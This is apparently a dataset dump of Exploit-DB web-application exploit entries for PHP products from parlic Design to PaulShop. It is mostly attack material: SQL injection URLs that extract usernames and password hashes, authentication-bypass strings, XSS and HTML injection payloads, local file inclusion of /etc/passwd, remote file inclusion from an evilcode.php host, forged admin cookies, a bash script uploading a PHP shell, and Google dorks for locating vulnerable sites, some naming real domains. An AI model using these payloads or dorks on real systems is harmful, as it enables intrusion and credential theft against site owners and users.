deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12767
Description: parlic Design - SQL Injection / Cross-Site Scripting / HTML Injection
Type: webapps
Platform: php
Date: 2010-05-27
Author: XroGuE

Exploit:
=======================================================================
# parlic Design (SQL/XSS/HTML) Multiple Vulnerabilities
=======================================================================

########################################################################
# Name: parlic Design (SQL/XSS/HTML) Multiple Vulnerabilities
# Vendor: http://www.parlic.com
# Date: 2010-05-27
# Author: XroGuE
# Thanks to: Inj3ct0r.com,Exploit-DB.com,SecurityReason.com,Hack0wn.com !
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: (-_+)
########################################################################

[+] Dork: intext:"Parlic Design" inurl:id
          intext:"design and developed by Parlic Design"
           

[+] Vulnerabilities:

          http://[target]/[path]/*.php?id=[SQL/XSS/HTML]


[+] XSS InjecTion Vulnerability:

[+] Demo: http://[site]/ser/parohija.php?id=
      http://www.cadebou-royalmer.com/strane/pas.php?id=

########################################################################

[+] HTML InjecTion Vulnerability:

[+] Demo: http://[site]/ser/parohija.php?id=<marquee><font color=red size=15>XroGuE</font></marquee>
          http://[site]/strane/pas.php?id=<marquee><font color=red size=15>XroGuE</font></marquee>

########################################################################

[+] SQL InjecTion Vulnerability:

[+] Demo: http://[site]/ser/parohija.php?id=-999+union+all select+1,2,3,4,5,version(),user()--
          http://[site]/strane/pas.php?id=-999+UNION+SELECT+1,2,version(),user(),5,database(),7,8,9,10,11,12,13,14,15,16

########################################################################
Exploit-DB #17231
Description: Parnian Opendata CMS - SQL Injection
Type: webapps
Platform: php
Date: 2011-05-02
Author: Alexander

Exploit:
###########################################################################

Exploit Title : Parnian Opendata CMS SQL Injection Vulnerability

Date : 2011-04-15 

Author : *Alexander* 

Software Link : http://www.parniansoft.com/

Test On : php

CVE : Web Applications

Google Dork : inurl:mpfn=pdview

Exploit : mpfn=pdview&id=-1+union+select +1,2,3,4,5,group_concat(email,0x3a,password,0x3a,level),7,8,9,10,11,12,13,14,15,16+from+xusers

Demo : http://server/index.php?mpfn=pdview&id=1'

http://server/index.php?mpfn=pdview&id=-1+union+select +1,2,3,4,5,group_concat(email,0x3a,password,0x3a,level),7,8,9,10,11,12,13,14,15,16+from+xusers

###########################################################################

Greetz : http://Ashiyane.org/Forums

Behrooz_Ice , Q7X , Virangar , Black And All Ashiyane Defacers
Exploit-DB #7239
Description: ParsBlogger - 'blog.asp' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-26
Author: h4ck3r

Exploit:
--------------------------------------------------------------------------------------------------------------------

[~] Script   : ParsBlogger

[~] Version  : >!<

[~] Link       : http://www.parsblogger.com

[~] Dork      : "Powered by ParsBlogger"

[~] Author   : BorN To K!LL

[~] TeaM     : Security Geeks [ Sec-Geeks.com ]

--------------------------------------------------------------------------------------------------------------------

[~] Exploit :.

site.ir/blog.asp?wr=[SQL]

[~] Example :.

site.ir/blog.asp?wr=-5+union+all+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13+from+writer--

--------------------------------------------------------------------------------------------------------------------

[~] Greetings :.

[ Är Ä¦Î»CÐšÎ£Î“ ] , [ SECURITY GÎ£Î£KS ] , [ AsbMay's Group ] , [ w4ck1ng TeaM ] , [ darkc0de TeaM ] , [ Juba ] .. n all muslims

--------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-11-26]
Exploit-DB #6745
Description: ParsBlogger - 'links.asp' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-13
Author: Hussin X

Exploit:
|___________________________________________________|
|
| ParsBlogger  (links.asp id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|                                                                                                     |
|
| script : http://www.parsblogger.com/demo.htm
|
| DorK   : "  ParsBlogger  ? 2006. All rights reserved"
|___________________________________________________|

Exploit: 
________



www.[target].com/Script/links.asp?id=-6+union+select+1,2,3,4,5,6,7,concat(0x3e,username,password),9+from+writer--

Demo

http://www.shahedblog.com/blog/links.asp?id=-6+union+select+1,2,3,4,5,6,7,concat(0x3e,username,password),9+from+writer--

____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-10-13]
Exploit-DB #32819
Description: Parsi PHP CMS 2.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-02-26
Author: Cru3l.b0y

Exploit:
source: https://www.securityfocus.com/bid/33914/info

Parsi PHP CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Parsi PHP CMS 2.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[p4th]/index.php?Cat=-9999'+union+select+1,2,3,concat(user_username,char(58),user_password),5,6,7,8,9,10,11,12,13,14,15,16+from+parsiphp_u
ser/*
Exploit-DB #47547
Description: Part-DB 0.4 - Authentication Bypass
Type: webapps
Platform: php
Date: 2019-10-28
Author: Marvoloo

Exploit:
# Exploit Title: Part-DB 0.4 - Authentication Bypass
# Date: 2019-10-26
# Author: Marvoloo
# Vendor Homepage: https://github.com/Part-DB/Part-DB/
# Software Link: https://github.com/Part-DB/Part-DB/archive/master.zip
# Version: 0.4
# Tested on: Linux
# CVE : N/A

# Discription:
# Easy authentication bypass vulnerability on the application 
# allowing the attacker to login

# url: http://localhost/login.php
# Parameter & Payload: 

'=''or'

#vulnerable file: login.php Line: 29,30 

#POC
POST /login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Cookie: ....
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
Exploit-DB #50800
Description: part-db 0.5.11 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2022-03-07
Author: Chetanya Sharma

Exploit:
# Exploit Title: part-db 0.5.11 - Remote Code Execution (RCE)
# Google Dork: NA
# Date: 03/04/2022
# Exploit Author: Sunny Mehra @DSKMehra
# Vendor Homepage: https://github.com/part-db/part-db
# Software Link: https://github.com/part-db/part-db
# Version: [ 0.5.11.] 
# Tested on: [KALI OS]
# CVE : CVE-2022-0848
#
---------------

#!/bin/bash
host=127.0.0.1/Part-DB-0.5.10 #WEBHOST
#Usage: Change host 
#Command: bash exploit.sh
#EXPLOIT BY @DSKMehra
echo "<?php system(id); ?>">POC.phtml  #PHP Shell Code
result=`curl -i -s -X POST -F "logo_file=@POC.phtml" "http://$host/show_part_label.php" | grep -o -P '(?<=value="data/media/labels/).*(?=" > <p)'`
rm POC.phtml
echo Shell Location : "$host/data/media/labels/$result"
Exploit-DB #3500
Description: Particle Blogger 1.2.0 - 'post.php?postid' SQL Injection
Type: webapps
Platform: php
Date: 2007-03-16
Author: WiLdBoY

Exploit:
<!--

Particle Blogger All Version Post.PHP (PostID) Remote SQL Injection Exploit

Type :

SQL Injection

Release Date :

{2007-03-16}

Product / Vendor :

Particle Soft

http://blogger.particlesoft.net/

Bug :

http://localhost/script/post.php?postid=-SQL Inj-

Particle Blogger All Version Post.PHP (PostID) Remote SQL Injection Exploit :

-->

<title>Particle Blogger All Version Post.PHP (PostID) Remote SQL Injection Exploit</title>
<body bgcolor="#000000">
<script language="JavaScript">
function ps() {
  {
    unique.action=""+document.unique.site.value+"/post.php?postid=-1/**/UNION/**/SELECT/**/null,username,password,null,null,null,null/**/FROM/**/pbl_users/*";
    unique.submit();
  }
}
</script>
<center><font face="Verdana" size="2" color="#FF0000"><b>Particle Blogger All Version Post.PHP (PostID) Remote SQL Injection Exploit</b></font></center>
<form name="unique" method="POST" onsubmit="ps();">
<center><font face="Arial" size="2" color="#00FF00">Site Address :</td></center><br>
<center><input type="text" name="site" value="http://localhost/script" size="44" class="unique" class="inputbox"></center><br>
<center><input type="submit" value="Apply" class="unique"></center><br>
<center><font face="Verdana" size="2" color="#FF0000"><b>UniquE-Key{UniquE-Cracker}</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>UniquE@UniquE-Key.ORG</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>http://UniquE-Key.ORG</b></font></center>

<!--

Tested :

Particle Blogger 1.1.2

Vulnerable :

Particle Blogger 1.2.0

Particle Blogger 1.1.2

Particle Blogger 1.1.1

Particle Blogger 1.1.0

Particle Blogger 1.0.0

Author :

UniquE-Key{UniquE-Cracker}
UniquE(at)UniquE-Key.Org
http://www.UniquE-Key.Org

-->

# milw0rm.com [2007-03-16]
Exploit-DB #30103
Description: Particle Blogger 1.2.1 - 'Archives.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-03-16
Author: Serapis.net

Exploit:
source: https://www.securityfocus.com/bid/24232/info

Particle Blogger is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/apppath/archives.php?year=2007&month='
Exploit-DB #30109
Description: Particle Gallery 1.0 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-30
Author: Serapis.net

Exploit:
source: https://www.securityfocus.com/bid/24236/info

Particle Gallery is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Particle Gallery 1.0.1 and prior versions. 

http://www.example.com/apppath/search.php?user=admin&order=>"><ScRiPt%20%0a%0d>alert(1111110)%3B</ScRiPt>
Exploit-DB #1878
Description: Particle Wiki 1.0.2 - SQL Injection
Type: webapps
Platform: php
Date: 2006-06-05
Author: FarhadKey

Exploit:
# Particle wiki <= 1.0.2 Remote SQL_Injection - Username/Password(hash) Extractor
# Thanks to UNSECURED SYSTEMS : http://pridels.blogspot.com/2006/06/particle-wiki-sql-inj.html
# Exploited by FarhadKey from http://www.kapda.ir

Username :
http://wiki.particlesoft.net/index.php?version=-1%20union%20select%201,1,1,1,1,username%20from%20pwiki_users%20/*
Password :
http://wiki.particlesoft.net/index.php?version=-1%20union%20select%201,1,1,1,1,password%20from%20pwiki_users%20/*

# milw0rm.com [2006-06-05]
Exploit-DB #5704
Description: PassWiki 0.9.16 RC3 - 'site_id' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-05-31
Author: mozi

Exploit:
dork: "powered by PassWiki"
example:
http://w3.funsrv.com/~konjo/passwiki/passwiki.php?site_id=../../../../../../../../../../../../../etc/passwd%00
http://inajob.no-ip.org/passwiki/passwiki.php?site_id=../../../../../../../../../../../../../etc/passwd%00


author:mozi2weed@yahoo.com
http://rstzone.org

# milw0rm.com [2008-05-31]
Exploit-DB #8668
Description: Password Protector SD 1.3.1 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-05-13
Author: Mr.tro0oqy

Exploit:
=======================================================
+++++++++++++++++++ information +++++++++++++++++++++++
=======================================================
[+] Script : Password Protector SD v1.3.1 Insecure Cookie Handling Vulnerability

[+] Found by : Mr.tro0oqy  
   
[+] C0ntact : t.4@windowslive.com <Yemeni ana>
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
exploit:
--------
step 1 [add]: javascript:document.cookie="c7portal=admin;path=/";

step 2 [add]: javascript:document.cookie="cookname=admin;path=/";

step 3 [to login] : http://localhost/cgi-bin/ppSD/admin.pl?L=home


in control panel : 

http://www.passwordprotectorsd.com/cgi-bin/ppSD/admin.pl?L=home


demo:
-----
http://www.passwordprotectorsd.com/cgi-bin/c7/admin.pl

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================
ThE g0bL!N - spyboy - red virus - virus_hima - Red-D3v1L
Cyb3r-DeViL- OXIDE

all my Friends

# milw0rm.com [2009-05-13]
Exploit-DB #8502
Description: pastelcms 0.8.0 - Local File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2009-04-21
Author: SirGod

Exploit:
#########################################################################
[+] PastelCMS 0.8.0 (LFI/SQL) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] www.mortal-team.net
[+] www.h4cky0u.org
#########################################################################

[+] Download : http://pastel.pri.ee/?id=58

[+] Local File Inclusion

   PoC :

      http://127.0.0.1/[path]/?set_lng=../../../../../../BOOTSECT.BAK%00

[+] SQL Injection ( Login Bypass)

 - Go to :

   http://127.0.0.1/[path]/admin.php

 - Login as the following :

   Username : [REAL ADMIN USERNAME HERE] ' or ' 1=1
   [CREDENTIAL_REDACTED]


#########################################################################

# milw0rm.com [2009-04-21]
Exploit-DB #37245
Description: Pasworld - 'detail.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2015-06-08
Author: Sebastian khan

Exploit:
=========================================================

[+] Title                :-   Pasworld detail.php Blind Sql Injection Vulnerability 
[+] Date                 :-   5  -  June  -  2015
[+] Vendor Homepage:     :-   http://main.pasworld.co.th/
[+] Version              :-   All Versions
[+] Tested on            :-   Nginx/1.4.5, PHP/5.2.17, Linux - Windows
[+] Category             :-   webapps
[+] Google Dorks         :-   intext:"Powered By :: PAS World Communitcation" inurl:detail.php 
                              site:go.th inurl:"detail.php?id="
[+] Exploit Author       :-   Shelesh Rauthan (ShOrTy420 aKa SEB@sTiaN)
[+] Team name            :-   Team Alastor Breeze
[+] The official Members :-   Sh0rTy420, P@rL0u$, !nfIn!Ty, Th3G0v3Rn3R
[+] Greedz to            :-   @@lu, Lalit, MyLappy<3, Diksha
[+] Contact              :-   fb.com/shelesh.rauthan, indian.1337.hacker@gmail.com, shortycharsobeas@gmail.com

=========================================================

[+] Severity Level          :- High
[+] Request Method(s)       :- GET / POST
[+] Vulnerable Parameter(s) :- detail.php?id=
[+] Affected Area(s)        :- Entire admin, database, Server

 
=========================================================

[+] About :-  Unauthenticated SQL Injection via "detail.php?id=" parameter
 
[+] SQL vulnerable File :- /home/DOMAIN/domains/DOMAIN.go.th/public_html/detail.php
 
[+] POC    :-  http://127.0.0.1/detail.php?id=[SQL]'

SQLMap
++++++++++++++++++++++++++
python sqlmap.py --url "http://127.0.0.1/detail.php?id=[SQL]" --dbs
++++++++++++++++++++++++++

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=152 AND 1414=1414

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=152 AND (SELECT 1163 FROM(SELECT COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT (CASE WHEN (1163=1163) THEN 1 ELSE 0 END)),0x[PII_REDACTED],FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query (random number) - 9 columns
    Payload: id=-7470 UNION ALL SELECT 5982,5982,5982,5982,5982,CONCAT(0x[PII_REDACTED],0x4b437a4a[PII_REDACTED]71,0x[PII_REDACTED]),5982,5982,5982#



=========================================================
Exploit-DB #4621
Description: patBBcode 1.0 - 'bbcodeSource.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-12
Author: p4sswd

Exploit:
Link to download:
http://www.php-tools.net/site.php?file=patBBCode/overview.xml

Vuln file:
examples\patExampleGen\bbcodeSource.php

Vuln code:
    if( !isset( $_GET['example'] ) )
        die( 'No example selected.' );
   
    $exampleId = $_GET['example'];

    ob_start();

    // make the example think it's still in the right place
    chdir( '../' );
   
    // include the example
    require $exampleId.'.php';
   
    ob_end_clean();

Exploit:
examples\patExampleGen\bbcodeSource.php?example= http://server.com/evilcode.php

# milw0rm.com [2007-11-12]
Exploit-DB #3696
Description: Pathos CMS 0.92-2 - 'warn.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-09
Author: kezzap66345

Exploit:
Pathos Content Management System
*****************
Found by kezzap66345 *
*****************
*****************
Script download::    http://sourceforge.net/projects/pathos/
Direct link     :
http://sourceforge.net/project/showfiles.php?group_id=103303&package_id=110862&release_id=243512

*****************
*****************
ERROR#1:
File:warn.php
*****************

include_once($_GET['file'] . ".html");   <<< rfi coded


**************************************************************************************
RFI#1:

http://SITE.com/path/warn.php?file=[SHELL]


**************************************************************************************
**************************************************************************************
Thanks:@_-_-_| i!..:: S.H.i.K.a.A ::..!i
****x0r0n**********..:a.j.a.n..:*************
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
******Thanx****SiiRCiCOCUK****str0ke**************************************************

# milw0rm.com [2007-04-09]
Exploit-DB #27634
Description: PatroNet CMS - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-12
Author: Soothackers

Exploit:
source: https://www.securityfocus.com/bid/17495/info

PatroNet CMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/"><script>alert(/Soot/)</script>
Exploit-DB #44746
Description: PaulNews 1.0 - 'keyword' SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-24
Author: AkkuS

Exploit:
# Exploit Title: PaulNews 1.0 - 'keyword' SQL Injection / Cross-Site Scripting
# Dork: N/A
# Date: 23.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor: MediaSoft Pro
# Vendor Homepage: https://codecanyon.net/item/paulnews-newspaper-and-magazine-script/19260686
# Version: v1.0
# Category: Webapps
# Tested on: Kali linux
# Description : The vulnerability allows an attacker to inject sql commands
from the search section with 'keyword' parameter. You can use the GET or
POST methods.
====================================================

# PoC : SQLi :

http://test.com/news/search?keyword=[SQL]

# Vulnerable Payload :

Parameter: query (GET)
      Type : boolean-based blind
      Demo : http://test.com/news/search?keyword=test
    Payload: keyword=-3431') OR 6871=6871#

      Type : error-based
      Demo : http://test.com/news/search?keyword=test
    Payload: keyword=test') OR (SELECT 8996 FROM(SELECT
COUNT(*),CONCAT(0x71626b6271,(SELECT
(ELT(8996=8996,1))),0x71766b7671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- IsdG

      Type : AND/OR time-based blind
      Demo : http://test.com/news/search?keyword=test
    Payload: keyword=test') OR SLEEP(5)-- OEdN


====================================================

# PoC : XSS :

    Payload :
http://test.com/news/search?keyword=%27%20%3C/script%3E%3Cscript%3Ealert%281%29%3C/script%3E%E2%80%98
;
Exploit-DB #44689
Description: PaulPrinting CMS Printing 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-05-22
Author: Mehmet Onder

Exploit:
# Exploit Title: PaulPrinting CMS Printing 1.0 - SQL Injection
# Exploit Date: 2018-05-19
# Software Link: https://codecanyon.net/item/paulprinting-cms-printing-solutions/19546365
# Author: Mehmet Onder Key
# Version: 1.0
# Tested On: Linux

# 1. Description
# Any visitor can run code to exploit css and sql vulnerabilities in the
# products and order sections.

# 2. Proof of Concept
# Example parameter with demo site :  http://demo.codepaul.com/
# printing/products/businesscard?pricelist=1&format=90x50&pages=2p4cf&
# paper=300g_ma&refinement=lamco

# Time-Based Blind SQL Payload:
format=keyney+akkus') OR SLEEP(5)-- DLea

# Boolean-Based Blind SQL Payload:
refinement=were') OR NOT 4134=4134#

# Error-Based SQL Payload
paper=here') OR (SELECT 1712 FROM(SELECT COUNT(*),CONCAT(0x71706b6a71,(SELECT
(ELT(1712=1712,1))),0x7171706a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- oXDz
etc... (all parameter is effected -pricelist)
Exploit-DB #42156
Description: PaulShop - SQL Injection
Type: webapps
Platform: php
Date: 2017-06-10
Author: Se0pHpHack3r

Exploit:
# Exploit Title: [PaulShop CMS <= 2017-03-25 Sql Injection]
# Date: [10-06-2017]
# Exploit Author: [Se0pHpHack3r]
# Vendor Homepage: [https://codecanyon.net/item/paulshop-cms-with-shopping-cart-system/18070714]
# Version: [2017-03-25] 

1. Description

SQL Injection on Shipping Cost page in Cart, with "country" & "weight" parameter (GET)

2. Examples

http://localhost/shop/en/cart/shipping_cost?country=[SQL INJECTION HERE]
http://localhost/shop/en/cart/shipping_cost?country=TH&weight=[SQL INJECTION HERE]